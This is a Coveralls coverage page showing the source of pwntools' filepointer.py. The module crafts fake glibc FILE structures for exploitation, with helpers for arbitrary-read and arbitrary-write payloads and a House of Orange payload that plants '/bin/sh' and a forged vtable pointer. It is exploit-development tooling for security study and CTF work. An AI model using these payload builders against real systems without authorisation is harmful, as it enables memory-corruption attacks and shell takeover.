• Home
  • Features
  • Pricing
  • Docs
  • Announcements
  • Sign In

Gallopsled / pwntools / 1

29 May 2020 09:05AM UTC coverage: 0.0% (-72.4%) from 72.414%
1

push

github

layderv
__str__ to __bytes__ in python2

0 of 8 new or added lines in 2 files covered. (0.0%)

11301 existing lines in 133 files now uncovered.

0 of 15497 relevant lines covered (0.0%)

0.0 hits per line

Source File
Press 'n' to go to next uncovered line, 'b' for previous

0.0
/pwnlib/filepointer.py
1
# -*- coding: utf-8 -*-
2

3
r"""
4
File Structure Exploitation
5

6
struct FILE (_IO_FILE) is the structure for File Streams. This offers various targets for exploitation on an existing bug in the code. Examples - _IO_buf_base and _IO_buf_end for reading data to arbitrary location.
7

8
Remembering the offsets of various structure members while faking a FILE structure can be difficult, so this python class helps you with that. Example-
9

10
>>> context.clear(arch='amd64')
11
>>> fileStr = FileStructure(null=0xdeadbeef)
12
>>> fileStr.vtable = 0xcafebabe
13
>>> payload = bytes(fileStr)
14
>>> payload
15
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
16

17
Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe
18

19
Currently only 'amd64' and 'i386' architectures are supported
20
"""
21

UNCOV
22
from __future__ import absolute_import
×
UNCOV
23
from __future__ import division
×
24

UNCOV
25
from pwnlib.context import context
×
UNCOV
26
from pwnlib.log import getLogger
×
UNCOV
27
from pwnlib.util.packing import pack
×
28

UNCOV
29
log = getLogger(__name__)
×
30

UNCOV
31
length=0
×
UNCOV
32
size='size'
×
UNCOV
33
name='name'
×
34

UNCOV
35
variables={
×
36
    0:{name:'flags',size:length},
37
    1:{name:'_IO_read_ptr',size:length},
38
    2:{name:'_IO_read_end',size:length},
39
    3:{name:'_IO_read_base',size:length},
40
    4:{name:'_IO_write_base',size:length},
41
    5:{name:'_IO_write_ptr',size:length},
42
    6:{name:'_IO_write_end',size:length},
43
    7:{name:'_IO_buf_base',size:length},
44
    8:{name:'_IO_buf_end',size:length},
45
    9:{name:'_IO_save_base',size:length},
46
    10:{name:'_IO_backup_base',size:length},
47
    11:{name:'_IO_save_end',size:length},
48
    12:{name:'markers',size:length},
49
    13:{name:'chain',size:length},
50
    14:{name:'fileno',size:4},
51
    15:{name:'_flags2',size:4},
52
    16:{name:'_old_offset',size:length},
53
    17:{name:'_cur_column',size:2},
54
    18:{name:'_vtable_offset',size:1},
55
    19:{name:'_shortbuf',size:1},
56
    20:{name:'unknown1',size:-4},
57
    21:{name:'_lock',size:length},
58
    22:{name:'_offset',size:8},
59
    23:{name:'_codecvt',size:length},
60
    24:{name:'_wide_data',size:length},
61
    25:{name:'unknown2',size:length},
62
    26:{name:'vtable',size:length}
63
}
64

65

UNCOV
66
def update_var(l):
×
67
    r"""
68
    Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.
69

70
    Arguments:
71
        l(int)
72
            l=8 for 'amd64' architecture and l=4 for 'i386' architecture
73

74
    Return Value:
75
        Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set
76

77
    Examples:
78

79
        >>> update_var(8)
80
        {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}
81
    """
UNCOV
82
    var={}
×
UNCOV
83
    for i in variables:
×
UNCOV
84
        var[variables[i]['name']]=variables[i]['size']
×
UNCOV
85
    for i in var:
×
UNCOV
86
        if var[i]<=0:
×
UNCOV
87
            var[i]+=l
×
UNCOV
88
    if l==4:
×
89
        var['unknown2']=56
×
90
    else:
UNCOV
91
        var['unknown2']=48
×
UNCOV
92
    return var
×
93

UNCOV
94
class FileStructure(object):
×
95
    r"""
96
    Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
97

98
    Arguments:
99
        null(int)
100
            A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)
101

102
    Examples:
103

104
        FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d
105

106
        >>> context.clear(arch='amd64')
107
        >>> fileStr = FileStructure(null=0xdeadbeeef)
108
        >>> fileStr.flags = 0xfbad1807
109
        >>> fileStr._IO_buf_base = 0xcafebabe
110
        >>> fileStr._IO_buf_end = 0xfacef00d
111
        >>> payload = bytes(fileStr)
112
        >>> payload
113
        b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
114

115
        Check the length of the FileStructure
116

117
        >>> len(fileStr)
118
        224
119

120
        The defination for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
121

122
        >>> q=FileStructure(0xdeadbeef)
123
        >>> q
124
        { flags: 0x0
125
         _IO_read_ptr: 0x0
126
         _IO_read_end: 0x0
127
         _IO_read_base: 0x0
128
         _IO_write_base: 0x0
129
         _IO_write_ptr: 0x0
130
         _IO_write_end: 0x0
131
         _IO_buf_base: 0x0
132
         _IO_buf_end: 0x0
133
         _IO_save_base: 0x0
134
         _IO_backup_base: 0x0
135
         _IO_save_end: 0x0
136
         markers: 0x0
137
         chain: 0x0
138
         fileno: 0x0
139
         _flags2: 0x0
140
         _old_offset: 0xffffffffffffffff
141
         _cur_column: 0x0
142
         _vtable_offset: 0x0
143
         _shortbuf: 0x0
144
         unknown1: 0x0
145
         _lock: 0xdeadbeef
146
         _offset: 0xffffffffffffffff
147
         _codecvt: 0x0
148
         _wide_data: 0xdeadbeef
149
         unknown2: 0x0
150
         vtable: 0x0}
151
    """
152

UNCOV
153
    vars_=[]
×
UNCOV
154
    length={}
×
155

UNCOV
156
    def __init__(self, null=0):
×
UNCOV
157
            self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())]
×
UNCOV
158
            self.setdefault(null)
×
UNCOV
159
            self.length = update_var(context.bytes)
×
UNCOV
160
            self._old_offset = (1 << context.bits) - 1
×
161

UNCOV
162
    def __setattr__(self,item,value):
×
UNCOV
163
        if item in FileStructure.__dict__ or item in self.vars_:
×
UNCOV
164
            object.__setattr__(self,item,value)
×
165
        else:
166
            log.error("Unknown variable %r" % item)
×
167

UNCOV
168
    def __repr__(self):
×
UNCOV
169
        structure=[]
×
UNCOV
170
        for i in self.vars_:
×
UNCOV
171
            structure.append(" %s: %s" % (i,hex(self.__getattr__(i))))
×
UNCOV
172
        return "{"+ "\n".join(structure)+"}"
×
173

UNCOV
174
    def __getattr__(self,item):
×
UNCOV
175
        if item in FileStructure.__dict__ or item in self.vars_:
×
UNCOV
176
            return object.__getattribute__(self,item)
×
177
        log.error("Unknown variable %r" % item)
×
178

UNCOV
179
    def __len__(self):
×
UNCOV
180
        return len(bytes(self))
×
181

UNCOV
182
    def __bytes__(self):
×
UNCOV
183
        structure = b''
×
UNCOV
184
        for val in self.vars_:
×
UNCOV
185
            if isinstance(self.__getattr__(val), bytes):
×
UNCOV
186
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
187
            else:
UNCOV
188
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
UNCOV
189
        return structure
×
UNCOV
190
    __str__ = __bytes__
×
191

UNCOV
192
    def struntil(self,v):
×
193
        r"""
194
        Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.
195

196
        Arguments:
197
            v(string)
198
                The name of the field uptil which the payload should be created.
199

200
        Example:
201

202
            Payload for data uptil _IO_buf_end
203

204
            >>> context.clear(arch='amd64')
205
            >>> fileStr = FileStructure(0xdeadbeef)
206
            >>> payload = fileStr.struntil("_IO_buf_end")
207
            >>> payload
208
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
209
        """
UNCOV
210
        if v not in self.vars_:
×
211
            return b''
×
UNCOV
212
        structure = b''
×
UNCOV
213
        for val in self.vars_:
×
UNCOV
214
            if isinstance(self.__getattr__(val), bytes):
×
215
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
216
            else:
UNCOV
217
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
UNCOV
218
            if val == v:
×
UNCOV
219
                break
×
UNCOV
220
        return structure[:-1]
×
221

UNCOV
222
    def setdefault(self,null):
×
UNCOV
223
            self.flags=0
×
UNCOV
224
            self._IO_read_ptr=0
×
UNCOV
225
            self._IO_read_end=0
×
UNCOV
226
            self._IO_read_base=0
×
UNCOV
227
            self._IO_write_base=0
×
UNCOV
228
            self._IO_write_ptr=0
×
UNCOV
229
            self._IO_write_end=0
×
UNCOV
230
            self._IO_buf_base=0
×
UNCOV
231
            self._IO_buf_end=0
×
UNCOV
232
            self._IO_save_base=0
×
UNCOV
233
            self._IO_backup_base=0
×
UNCOV
234
            self._IO_save_end=0
×
UNCOV
235
            self.markers=0
×
UNCOV
236
            self.chain=0
×
UNCOV
237
            self.fileno=0
×
UNCOV
238
            self._flags2=0
×
UNCOV
239
            self._old_offset=0
×
UNCOV
240
            self._cur_column=0
×
UNCOV
241
            self._vtable_offset=0
×
UNCOV
242
            self._shortbuf=0
×
UNCOV
243
            self.unknown1=0
×
UNCOV
244
            self._lock=null
×
UNCOV
245
            self._offset=0xffffffffffffffff
×
UNCOV
246
            self._codecvt=0
×
UNCOV
247
            self._wide_data=null
×
UNCOV
248
            self.unknown2=0
×
UNCOV
249
            self.vtable=0
×
250

UNCOV
251
    def write(self,addr=0,size=0):
×
252
        r"""
253
        Writing data out from arbitrary memory address.
254

255
        Arguments:
256
            addr(int)
257
                The address from which data is to be printed to stdout
258
            size(int)
259
                The size, in bytes, of the data to be printed
260

261
        Example:
262

263
            Payload for writing 100 bytes to stdout from the address 0xcafebabe
264

265
            >>> context.clear(arch='amd64')
266
            >>> fileStr = FileStructure(0xdeadbeef)
267
            >>> payload = fileStr.write(addr=0xcafebabe, size=100)
268
            >>> payload
269
            b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
270
        """
UNCOV
271
        self.flags &=~8
×
UNCOV
272
        self.flags |=0x800
×
UNCOV
273
        self._IO_write_base = addr
×
UNCOV
274
        self._IO_write_ptr = addr+size
×
UNCOV
275
        self._IO_read_end = addr
×
UNCOV
276
        self.fileno = 1
×
UNCOV
277
        return self.struntil('fileno')
×
278

UNCOV
279
    def read(self,addr=0,size=0):
×
280
        r"""
281
        Reading data into arbitrary memory location.
282

283
        Arguments:
284
            addr(int)
285
                The address into which data is to be written from stdin
286
            size(int)
287
                The size, in bytes, of the data to be written
288

289
        Example:
290

291
            Payload for reading 100 bytes from stdin into the address 0xcafebabe
292

293
            >>> context.clear(arch='amd64')
294
            >>> fileStr = FileStructure(0xdeadbeef)
295
            >>> payload = fileStr.read(addr=0xcafebabe, size=100)
296
            >>> payload
297
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
298
        """
UNCOV
299
        self.flags &=~4
×
UNCOV
300
        self._IO_read_base = 0
×
UNCOV
301
        self._IO_read_ptr = 0
×
UNCOV
302
        self._IO_buf_base = addr
×
UNCOV
303
        self._IO_buf_end = addr+size
×
UNCOV
304
        self.fileno = 0
×
UNCOV
305
        return self.struntil('fileno')
×
306

UNCOV
307
    def orange(self,io_list_all,vtable):
×
308
        r"""
309
        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c), provided you have libc leaks.
310

311
        Arguments:
312
            io_list_all(int)
313
                Address of _IO_list_all in libc.
314
            vtable(int)
315
                Address of the fake vtable in memory
316

317
        Example:
318

319
            Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -
320

321
            >>> context.clear(arch='amd64')
322
            >>> fileStr = FileStructure(0xdeadbeef)
323
            >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
324
            >>> payload
325
            b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
326
        """
UNCOV
327
        if context.bits == 64:
×
UNCOV
328
            self.flags = b'/bin/sh\x00'
×
UNCOV
329
            self._IO_read_ptr = 0x61
×
UNCOV
330
            self._IO_read_base = io_list_all-0x10
×
331
        elif context.bits == 32:
×
332
            self.flags = b'sh\x00'
×
333
            self._IO_read_ptr = 0x121
×
334
            self._IO_read_base = io_list_all-0x8
×
UNCOV
335
        self._IO_write_base = 0
×
UNCOV
336
        self._IO_write_ptr = 1
×
UNCOV
337
        self.vtable = vtable
×
UNCOV
338
        return self.__bytes__()
×
STATUS · Troubleshooting · Open an Issue · Sales · Support · CAREERS · ENTERPRISE · START FREE · SCHEDULE DEMO
ANNOUNCEMENTS · TWITTER · TOS & SLA · Supported CI Services · What's a CI service? · Automated Testing

© 2025 Coveralls, Inc